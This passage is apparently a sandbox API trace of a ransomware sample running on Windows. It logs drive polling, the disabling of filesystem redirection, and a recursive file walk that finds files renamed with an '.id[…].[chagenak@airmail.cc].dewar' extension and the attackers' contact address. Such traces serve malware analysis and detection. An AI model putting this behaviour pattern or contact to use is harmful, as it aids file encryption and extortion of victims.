(Heap=0x560000, Flags=0x0, Ptr=0x598278, Size=0x104) returned 0x598530 [0206.256] GetProcessHeap () returned 0x560000 [0206.256] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x598308, Size=0x200) returned 0x598640 [0206.257] GetProcessHeap () returned 0x560000 [0206.257] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594338 | out: hHeap=0x560000) returned 1 [0206.257] GetProcessHeap () returned 0x560000 [0206.257] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x598640 | out: hHeap=0x560000) returned 1 [0206.257] GetProcessHeap () returned 0x560000 [0206.257] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5948a8 | out: hHeap=0x560000) returned 1 [0206.257] GetProcessHeap () returned 0x560000 [0206.257] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x598168 | out: hHeap=0x560000) returned 1 [0206.257] GetProcessHeap () returned 0x560000 [0206.257] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594908 | out: hHeap=0x560000) returned 1 [0206.257] GetProcessHeap () returned 0x560000 [0206.257] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5981f0 | out: hHeap=0x560000) returned 1 [0206.258] GetProcessHeap () returned 0x560000 [0206.258] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5948d8 | out: hHeap=0x560000) returned 1 [0206.258] GetProcessHeap () returned 0x560000 [0206.258] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x598530 | out: hHeap=0x560000) returned 1 [0206.258] GetProcessHeap () returned 0x560000 [0206.258] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5948c0 | out: hHeap=0x560000) returned 1 [0206.258] GetProcessHeap () returned 0x560000 [0206.258] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x598410 | out: hHeap=0x560000) returned 1 [0206.258] GetProcessHeap () returned 0x560000 [0206.258] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5948f0 | out: hHeap=0x560000) returned 1 [0206.258] GetProcessHeap () returned 0x560000 [0206.258] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5984a0 | out: hHeap=0x560000) returned 1 [0206.258] GetProcessHeap () returned 0x560000 [0206.258] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594938 | out: hHeap=0x560000) returned 1 [0206.258] GetProcessHeap () returned 0x560000 [0206.259] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5945e0 | out: hHeap=0x560000) returned 1 [0206.259] GetProcessHeap () returned 0x560000 [0206.259] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594860 | out: hHeap=0x560000) returned 1 [0206.259] GetProcessHeap () returned 0x560000 [0206.259] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5980d8 | out: hHeap=0x560000) returned 1 [0206.259] GetProcessHeap () returned 0x560000 [0206.259] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594848 | out: hHeap=0x560000) returned 1 [0206.259] GetProcessHeap () returned 0x560000 [0206.259] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x598050 | out: hHeap=0x560000) returned 1 [0206.259] GetProcessHeap () returned 0x560000 [0206.259] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594878 | out: hHeap=0x560000) returned 1 [0206.259] GetProcessHeap () returned 0x560000 [0206.259] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57bf48 | out: hHeap=0x560000) returned 1 [0206.259] GetProcessHeap () returned 0x560000 [0206.259] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594920 | out: hHeap=0x560000) returned 1 [0206.260] GetProcessHeap () returned 0x560000 [0206.260] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x597898 | out: hHeap=0x560000) returned 1 [0206.260] GetProcessHeap () returned 0x560000 [0207.810] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57ca78 | out: hHeap=0x560000) returned 1 [0207.810] GetProcessHeap () returned 0x560000 [0207.810] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa4) returned 0x5ebd80 [0207.810] GetProcessHeap () returned 0x560000 [0207.810] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594818 | out: hHeap=0x560000) returned 1 [0207.810] GetProcessHeap () returned 0x560000 [0207.810] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594800 | out: hHeap=0x560000) returned 1 [0207.810] GetProcessHeap () returned 0x560000 [0207.810] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5974f8 | out: hHeap=0x560000) returned 1 [0207.810] GetProcessHeap () returned 0x560000 [0207.810] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594890 | out: hHeap=0x560000) returned 1 [0207.811] GetProcessHeap () returned 0x560000 [0207.811] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x594830 | out: hHeap=0x560000) returned 1 [0207.811] GetProcessHeap () returned 0x560000 [0207.811] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x18) returned 0x57ca78 [0207.811] GetProcessHeap () returned 0x560000 [0207.811] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0xe) returned 0x594830 [0207.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x8c55a0, lpParameter=0x57ca78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c [0207.813] CloseHandle (hObject=0x15c) returned 1 [0207.816] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0xffffffff) Thread: id = 49 os_tid = 0x620 [0206.247] GetLogicalDrives () returned 0x4 [0206.247] GetProcessHeap () returned 0x560000 [0206.247] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a7d8 [0206.247] GetProcessHeap () returned 0x560000 [0206.247] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a828 [0206.247] GetProcessHeap () returned 0x560000 [0206.247] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x597868 [0206.248] GetProcessHeap () returned 0x560000 [0206.248] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x5974f8 [0206.248] GetProcessHeap () returned 0x560000 [0206.248] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5974f8 | out: hHeap=0x560000) returned 1 [0206.248] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a828, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0206.248] GetProcessHeap () returned 0x560000 [0206.248] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x597868 | out: hHeap=0x560000) returned 1 [0206.248] GetProcessHeap () returned 0x560000 [0206.248] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0206.248] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x26ffe8c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x26ffe8c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0206.249] GetProcessHeap () returned 0x560000 [0206.249] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a828 | out: hHeap=0x560000) returned 1 [0206.249] GetProcessHeap () returned 0x560000 [0206.249] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574358 [0206.249] GetProcessHeap () returned 0x560000 [0206.249] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x28) returned 0x597868 [0206.249] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x138 [0206.249] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x13c [0206.250] GetLogicalDrives () returned 0x4 [0206.250] Sleep (dwMilliseconds=0x3e8) [0208.112] GetLogicalDrives () returned 0x4 [0208.112] Sleep (dwMilliseconds=0x3e8) [0211.722] GetLogicalDrives () returned 0x4 [0211.722] Sleep (dwMilliseconds=0x3e8) [0214.034] GetLogicalDrives () returned 0x4 [0214.034] Sleep (dwMilliseconds=0x3e8) [0215.691] GetLogicalDrives () returned 0x4 [0215.691] Sleep (dwMilliseconds=0x3e8) [0217.374] GetLogicalDrives () returned 0x4 [0217.374] Sleep (dwMilliseconds=0x3e8) [0218.664] GetLogicalDrives () returned 0x4 [0218.664] Sleep (dwMilliseconds=0x3e8) [0220.206] GetLogicalDrives () returned 0x4 [0220.207] Sleep (dwMilliseconds=0x3e8) [0221.520] GetLogicalDrives () returned 0x4 [0221.521] Sleep (dwMilliseconds=0x3e8) [0222.672] GetLogicalDrives () returned 0x4 [0222.672] Sleep (dwMilliseconds=0x3e8) [0223.819] GetLogicalDrives () returned 0x4 [0223.819] Sleep (dwMilliseconds=0x3e8) [0224.977] GetLogicalDrives () returned 0x4 [0224.977] Sleep (dwMilliseconds=0x3e8) [0226.097] GetLogicalDrives () returned 0x4 [0226.097] Sleep (dwMilliseconds=0x3e8) [0227.272] GetLogicalDrives () returned 0x4 [0227.273] Sleep (dwMilliseconds=0x3e8) [0229.013] GetLogicalDrives () returned 0x4 [0229.014] Sleep (dwMilliseconds=0x3e8) [0231.420] GetLogicalDrives () returned 0x4 [0231.420] Sleep (dwMilliseconds=0x3e8) [0232.664] GetLogicalDrives () returned 0x4 [0232.665] Sleep (dwMilliseconds=0x3e8) [0234.605] GetLogicalDrives () returned 0x4 [0234.605] Sleep (dwMilliseconds=0x3e8) [0235.833] GetLogicalDrives () returned 0x4 [0235.833] Sleep (dwMilliseconds=0x3e8) [0237.198] GetLogicalDrives () returned 0x4 [0237.198] Sleep (dwMilliseconds=0x3e8) [0238.407] GetLogicalDrives () returned 0x4 [0238.407] Sleep (dwMilliseconds=0x3e8) [0239.574] GetLogicalDrives () returned 0x4 [0239.574] Sleep (dwMilliseconds=0x3e8) [0240.718] GetLogicalDrives () returned 0x4 [0240.718] Sleep (dwMilliseconds=0x3e8) [0241.862] GetLogicalDrives () returned 0x4 [0241.862] Sleep (dwMilliseconds=0x3e8) [0243.044] GetLogicalDrives () returned 0x4 [0243.044] Sleep (dwMilliseconds=0x3e8) [0244.261] GetLogicalDrives () returned 0x4 [0244.262] Sleep (dwMilliseconds=0x3e8) [0245.382] GetLogicalDrives () returned 0x4 [0245.382] Sleep (dwMilliseconds=0x3e8) [0247.500] GetLogicalDrives () returned 0x4 [0247.500] Sleep (dwMilliseconds=0x3e8) [0249.214] GetLogicalDrives () returned 0x4 [0249.214] Sleep (dwMilliseconds=0x3e8) [0250.689] GetLogicalDrives () returned 0x4 [0250.689] Sleep (dwMilliseconds=0x3e8) [0252.174] GetLogicalDrives () returned 0x4 [0252.174] Sleep (dwMilliseconds=0x3e8) [0253.567] GetLogicalDrives () returned 0x4 [0253.567] Sleep (dwMilliseconds=0x3e8) [0254.947] GetLogicalDrives () returned 0x4 [0254.947] Sleep (dwMilliseconds=0x3e8) [0256.125] GetLogicalDrives () returned 0x4 [0256.126] Sleep (dwMilliseconds=0x3e8) [0257.437] GetLogicalDrives () returned 0x4 [0257.437] Sleep (dwMilliseconds=0x3e8) [0259.088] GetLogicalDrives () returned 0x4 [0259.088] Sleep (dwMilliseconds=0x3e8) [0260.360] GetLogicalDrives () returned 0x4 [0260.360] Sleep (dwMilliseconds=0x3e8) [0261.577] GetLogicalDrives () returned 0x4 [0261.577] Sleep (dwMilliseconds=0x3e8) [0262.611] GetLogicalDrives () returned 0x4 [0262.611] Sleep (dwMilliseconds=0x3e8) [0263.727] GetLogicalDrives () returned 0x4 [0263.727] Sleep (dwMilliseconds=0x3e8) [0264.774] GetLogicalDrives () returned 0x4 [0264.774] Sleep (dwMilliseconds=0x3e8) [0265.882] GetLogicalDrives () returned 0x4 [0265.882] Sleep (dwMilliseconds=0x3e8) [0268.193] GetLogicalDrives () returned 0x4 [0268.193] Sleep (dwMilliseconds=0x3e8) [0269.781] GetLogicalDrives () returned 0x4 [0269.781] Sleep (dwMilliseconds=0x3e8) [0271.680] GetLogicalDrives () returned 0x4 [0271.680] Sleep (dwMilliseconds=0x3e8) [0273.067] GetLogicalDrives () returned 0x4 [0273.067] Sleep (dwMilliseconds=0x3e8) [0274.770] GetLogicalDrives () returned 0x4 [0274.770] Sleep (dwMilliseconds=0x3e8) [0276.435] GetLogicalDrives () returned 0x4 [0276.435] Sleep (dwMilliseconds=0x3e8) [0277.548] GetLogicalDrives () returned 0x4 [0277.549] Sleep (dwMilliseconds=0x3e8) [0278.626] GetLogicalDrives () returned 0x4 [0278.626] Sleep (dwMilliseconds=0x3e8) [0279.764] GetLogicalDrives () returned 0x4 [0279.764] Sleep (dwMilliseconds=0x3e8) [0280.903] GetLogicalDrives () returned 0x4 [0280.903] Sleep (dwMilliseconds=0x3e8) [0282.875] GetLogicalDrives () returned 0x4 [0282.876] Sleep (dwMilliseconds=0x3e8) [0284.119] GetLogicalDrives () returned 0x4 [0284.119] Sleep (dwMilliseconds=0x3e8) [0285.269] GetLogicalDrives () returned 0x4 [0285.269] Sleep (dwMilliseconds=0x3e8) [0286.772] GetLogicalDrives () returned 0x4 [0286.772] Sleep (dwMilliseconds=0x3e8) Thread: id = 50 os_tid = 0x62c Thread: id = 51 os_tid = 0x658 [0207.775] GetProcessHeap () returned 0x560000 [0207.776] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x38) returned 0x5990e8 [0207.776] GetProcessHeap () returned 0x560000 [0207.776] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x18) returned 0x57ca98 [0207.776] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x118 [0207.776] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x144 [0207.776] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x148 [0207.776] GetProcessHeap () returned 0x560000 [0207.776] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x599d48 [0207.777] GetProcessHeap () returned 0x560000 [0207.777] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5a9d50 [0207.778] GetProcessHeap () returned 0x560000 [0207.778] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x50) returned 0x599128 [0207.779] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x750a0000 [0207.779] GetProcAddress (hModule=0x750a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750cd650 [0207.779] Wow64DisableWow64FsRedirection (in: OldValue=0x2cff9cc | out: OldValue=0x2cff9cc*=0x0) returned 1 [0207.779] GetProcessHeap () returned 0x560000 [0207.779] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x599128 | out: hHeap=0x560000) returned 1 [0207.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x8c53ac, lpParameter=0x2cff9d4, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c [0207.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x8c53ac, lpParameter=0x2cff9d4, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x150 [0207.785] GetProcessHeap () returned 0x560000 [0207.786] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5b9d58 [0207.787] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2cff748 | out: lpFindFileData=0x2cff748*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x599128 [0207.799] GetProcessHeap () returned 0x560000 [0207.799] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5c9d60 [0207.800] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x599168 [0207.801] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0207.801] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb52f77c0, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0xb52f77c0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0207.801] GetProcessHeap () returned 0x560000 [0207.801] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0207.802] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb52f77c0, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0xb52f77c0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ead78 [0207.802] FindNextFileW (in: hFindFile=0x5ead78, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb52f77c0, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0xb52f77c0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0207.803] FindNextFileW (in: hFindFile=0x5ead78, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xb52f77c0, ftCreationTime.dwHighDateTime=0x1d5e0d0, ftLastAccessTime.dwLowDateTime=0xb52f77c0, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0xb52f77c0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0207.803] SetEvent (hEvent=0x144) returned 1 [0207.803] ResetEvent (hEvent=0x148) returned 1 [0207.803] FindNextFileW (in: hFindFile=0x5ead78, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x67ffea70, ftCreationTime.dwHighDateTime=0x1d5e0d0, ftLastAccessTime.dwLowDateTime=0x67ffea70, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0x683dce30, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[9C354B42-2713].[chagenak@airmail.cc].dewar", cAlternateFileName="DESKTO~1.DEW")) returned 1 [0207.803] FindNextFileW (in: hFindFile=0x5ead78, lpFindFileData=0x2cff238 | out: lpFindFileData=0x2cff238*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x67ffea70, ftCreationTime.dwHighDateTime=0x1d5e0d0, ftLastAccessTime.dwLowDateTime=0x67ffea70, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0x683dce30, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[9C354B42-2713].[chagenak@airmail.cc].dewar", cAlternateFileName="DESKTO~1.DEW")) returned 0 [0207.804] FindClose (in: hFindFile=0x5ead78 | out: hFindFile=0x5ead78) returned 1 [0207.804] GetProcessHeap () returned 0x560000 [0207.804] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0207.804] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb52f77c0, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0xb52f77c0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0207.805] FindClose (in: hFindFile=0x599168 | out: hFindFile=0x599168) returned 1 [0207.805] GetProcessHeap () returned 0x560000 [0207.805] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5c9d60 | out: hHeap=0x560000) returned 1 [0207.805] FindNextFileW (in: hFindFile=0x599128, lpFindFileData=0x2cff748 | out: lpFindFileData=0x2cff748*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6868a6f0, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0x6868a6f0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0207.806] GetProcessHeap () returned 0x560000 [0207.806] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5cad68 [0207.806] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6868a6f0, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0x6868a6f0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x599168 [0207.806] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6868a6f0, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0x6868a6f0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0207.806] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0207.807] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0207.807] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0207.807] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0207.808] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x68664590, ftCreationTime.dwHighDateTime=0x1d5e0d0, ftLastAccessTime.dwLowDateTime=0x68664590, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0x6868a6f0, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x10102, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT.id[9C354B42-2713].[chagenak@airmail.cc].dewar", cAlternateFileName="BOOTST~1.DEW")) returned 1 [0207.808] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cff4c0 | out: lpFindFileData=0x2cff4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0207.808] GetProcessHeap () returned 0x560000 